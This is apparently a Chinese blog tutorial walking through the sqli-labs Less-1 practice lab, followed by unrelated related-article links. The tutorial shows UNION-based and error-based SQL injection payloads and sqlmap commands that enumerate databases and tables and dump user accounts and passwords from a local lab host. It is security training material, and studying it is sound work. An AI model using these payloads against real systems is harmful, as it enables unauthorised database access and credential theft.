union联合注入(方法一)

进入靶场

按照要求提交一个id:http://192.168.121.131/sqli/Less-1/?id=1

数据库执行语句:select * from news where id=1页面返回描述:返回内容正常

正常浏览页面,找到有参数的地方,如id

判断注入点

1.使用单引号来判断是否有注入点?id=1'

出现报错说明有注入点

判断注入类型

判断是数字型还是字符类型

数字型注入判断:

?id=1 and 1=1如果是数字型页面正常

?id=1 and 1=2如果是数字型页面返回内容为空,因为sql语句中,1=2不成立

以下页面都是正常的,可以判断这是一个字符串注入

字符串类型判断:

使用单引号和--+闭合进行判断

?id=1' and 1=1--+如果是字符型页面正常

?id=1' and 1=2--+如果是字符型页面返回内容为空,因为sql语句中,1=2不成立

以下页面的?id=1' and 1=2--+返回内容为空,可以判断这是一个字符串注入

判断字段

通过SQL语句中order by N 来判断有几个字段

order by N 页面报错 字段为N-1

字符型判断字段:

?id=1' order by 1--+ 页面正常

?id=1' order by 2--+ 页面正常

?id=1' order by 3--+ 页面正常

?id=1' order by 4--+ 页面报错

由此得出有3个字段

显位

id=1' and 1=2 union select 1,2,3--+

查库名

id' and 1=2 union select 1,database(),3--+

得到库名 security

查表

?id=1' and 1=2 union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database()--+

查到 四个表emails,referers,uagents,users

查列名

?id=1' and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

查出列名

user_id,first_name,last_name,user,password,avatar,last_login,failed_login,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password

查内容

#单个账号和密码
?id=1' and 1=2 union select 1,username,passwoed form users--+

所有的账号和密码
?id=1' and 1=2 union select 1,group_concat(username),group_concat(password) from users--+

报错注入(方法二)

前四步(判断注入点,判断类型,判断字段,显位)和union联合注入一样

报错注入模板:

?id=1' and 1=2 union select 1,extractvalue(1,concat(0x7e,(查询语句))),3 --+

查库

?id=1' and 1=2 union select 1,extractvalue(1,concat(0x7e,(select database()))),3 --+

报错信息成功查询到了库名

查表

?id=1' and 1=2 union select 1,extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))),3 --+

查到 四个表emails,referers,uagents,users

查列名

?id=1' and 1=2 union select 1,extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'))),3 --+

查出列名

user_id,first_name,last_name,user,password,avatar,last_login,failed_login,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password

查内容

# 查询账号
?id=1' and 1=2 union select 1,extractvalue(1,concat(0x7e,(select group_concat(username) from users))),3 --+
# 查询密码
?id=1' and 1=2 union select 1,extractvalue(1,concat(0x7e,(select group_concat(password) from users))),3 --+

sqlmap工具

启动工具sqlmap

python sqlmap.py

来到靶场,安装要求添加ID?id=1

sqlamp查找漏洞注入点

  • 这样步可以直接跳过,从查库开始

复制路径http://192.168.121.129:8002/Less-1/?id=1

回到sqlmap工具的终端

-u: 添加一个url

python sqlmap.py -u http://192.168.121.129:8002/Less-1/?id=1

通过工具扫描出有4中方法可以注入

查库

默认工具使用方法注入,不指定方法

--dbs:查询数据库

python sqlmap.py -u http://192.168.121.129:8002/Less-1/?id=1 --dbs

在运行过程中有提示回车默认选项就完事了

查出5个库,要对其进行判断,我们要查哪一个库,才能找到我们要查的内容

challenges

information_schema:系统库无需查

mysql:系统库无需查

performance_schema系统库无需查

security

查表

-dbs改为-D+库名secrity

--tables 查表

python sqlmap.py -u http://192.168.121.129:8002/Less-1/?id=1 -D security --tables

查出4个表,其中有一个users的表名,无需判断直接查表

 emails

referers

uagents

users

查列名

--columns 查列名

python sqlmap.py -u http://192.168.121.129:8002/Less-1/?id=1 -D security -T users --columns

有四个列名查列名id,password,username的内容

查账号密码

使用--dump输出内容

python sqlmap.py -u http://192.168.121.129:8002/Less-1/?id=1 -D security -T users -C id,password,username --dump

得出所以账号密码内容:

Less-1(GET字符型)的更多相关文章

  1. 字符型图片验证码识别完整过程及Python实现

    字符型图片验证码识别完整过程及Python实现 1   摘要 验证码是目前互联网上非常常见也是非常重要的一个事物,充当着很多系统的 防火墙 功能,但是随时OCR技术的发展,验证码暴露出来的安全问题也越 ...

  2. [转]字符型IP地址转换成数字IP的SQL函数

    使用SQL函数可以实现许多的功能,下面为您介绍的是字符型IP地址转换成数字IP的SQL函数示例,供您参考,希望对您学习SQL函数能够有所帮助.      /**//*--调用示例       sele ...

  3. c++之字符型中的特殊字符回车符

    1.字符型的应用之强制类型转换: #include<iostream> using namespace std; int main() { ;i<;i++) { cout<&l ...

  4. FineReport根据点击次数奇偶性排序之字符型

    上一篇文章我们提到了字段为数据型的数据列排序方法,采用的是根据点击次数奇偶性来排序,那如果是字段为字符型,又该如何实现呢? 这里提供的解决思路是通过超级链接来实现升序降序两张模板之间的相互调用,每点击 ...

  5. (转)C语言16进制输出字符型变量问题

    最近在做一个C的嵌入式项目,发现在C语言中用printf()函数打印字符型变量时,如果想采用"%x"的格式将字符型变量值以十六进制形式打印出来,会出现一个小问题,如下: char  ...

  6. 如何为编程爱好者设计一款好玩的智能硬件(九)——LCD1602点阵字符型液晶显示模块驱动封装(下)

    六.温湿度传感器DHT11驱动封装(下):如何为编程爱好者设计一款好玩的智能硬件(六)——初尝试·把温湿度给收集了(下)! 七.点阵字符型液晶显示模块LCD1602驱动封装(上):如何为编程爱好者设计 ...

  7. 如何为编程爱好者设计一款好玩的智能硬件(八)——LCD1602点阵字符型液晶显示模块驱动封装(中)

    六.温湿度传感器DHT11驱动封装(下):如何为编程爱好者设计一款好玩的智能硬件(六)——初尝试·把温湿度给收集了(下)! 七.点阵字符型液晶显示模块LCD1602驱动封装(上):如何为编程爱好者设计 ...

  8. 如何为编程爱好者设计一款好玩的智能硬件(七)——LCD1602点阵字符型液晶显示模块驱动封装(上)

    当前进展: 一.我的构想:如何为编程爱好者设计一款好玩的智能硬件(一)——即插即用.积木化.功能重组的智能硬件模块构想 二.别人家的孩子:如何为编程爱好者设计一款好玩的智能硬件(二)——别人是如何设计 ...

  9. 让人又爱又恨的char(字符型)

    今天来总结一下char型,平常写算法的时候对这个东西感觉都有一点绕着走,说到底还是对这部分的知识不熟悉所以有点怕他,不过以后不要怕,今天来总结一下 首先,说到字符型数据类型,char型,恩它是一种数据 ...

  10. 在主方法中定义一个大小为10*10的二维字符型数组,数组名为y,正反对角线上存的是‘*’,其余 位置存的是‘#’;输出这个数组中的所有元素。

    //在主方法中定义一个大小为10*10的二维字符型数组,数组名为y,正反对角线上存的是‘*’,其余 位置存的是‘#’:输出这个数组中的所有元素. char [][]y=new char [10][10 ...

随机推荐

  1. 【NOI2016】 循环之美 题解

    Solution 由数论基础知识 答案即为$$\sum_{i = 1}^n\sum_{j = 1}^m[i \perp j][j \perp k]$$ 莫反套路可化为$$\sum_{d = 1}\mu ...

  2. IDEA对数据库、表、记录的(增删改查可视化操作)、数据库安全性问题的演示

    对数据库的增删改查 新增数据库 修改数据库 删除数据库 对表的增删改查 新增表 修改表 删除表 对记录的增删改查 数据库安全性问题的演示 演示脏读 ​ 一个事物里面读到了另外一个事物没有提交的数据: ...

  3. Vue中、参数传递以及重定向

    1.参数传递 关键部分代码 1.参数传递 <router-link :to="{name:'information',params:{id:1}}">用户信息</ ...

  4. C# 9.0 添加和增强的功能【基础篇】

    一.记录(record) C# 9.0 引入了记录类型. 可使用 record 关键字定义一个引用类型,以最简的方式创建不可变类型.这种类型是线程安全的,不需要进行线程同步,非常适合并行计算的数据共享 ...

  5. node 创建服务器方法

    方法一 let http = require('http') let httpserver = http.createServer(function(req,res){ res.writeHead(2 ...

  6. Spring Boot 中使用 tkMapper

    说明:基于 MyBatis 有很多第三方功能插件,这些插件可以完成数据操作方法的封装.数据库逆向工程的生成等. tkMapper 和 MyBatis-plus 都是基于 MyBatis 提供的第三方插 ...

  7. Unity之"诡异"的协程

    为什么说是诡异的协程呢?首先从一个案例说起吧,示例如下: 游戏目标:让小车进入到对应颜色屋子里,即可获得一分.(转弯的道路可控)   为了让小车能够平滑转弯,小车的前进方向需要和车子的位置与圆心组成的 ...

  8. C#字典出错“集合已经修改,可能无法执行枚举操作”

    出现这个现象的原因是由于线程安全考虑,如果你边对字典循环,又同时移除字典中的某个键值对, 那么将会出现这种错误,解决这种问题的方法是你没次remove某个键值对后需要break结束对字典的循环.

  9. 自学 TypeScript 第一天 环境开发配置 及 TS 基本类型声明

    前言:  自学第一天,什么是TS ,为什么要用 TS TS 全程 Typed JavaScript at Any Scale 解释起来就是 添加了类型系统的 JavaScript, 是 JavaScr ...

  10. 【云原生 · Docker】Docker简介及基本组件

    [云原生·Docker]Docker简介及基本组件 1.Docker简介 Docker 是一个开源的应用容器引擎,让开发者可以打包他们的应用以及依赖包到一个可移植的容器中,然后发布到任何流行的Linu ...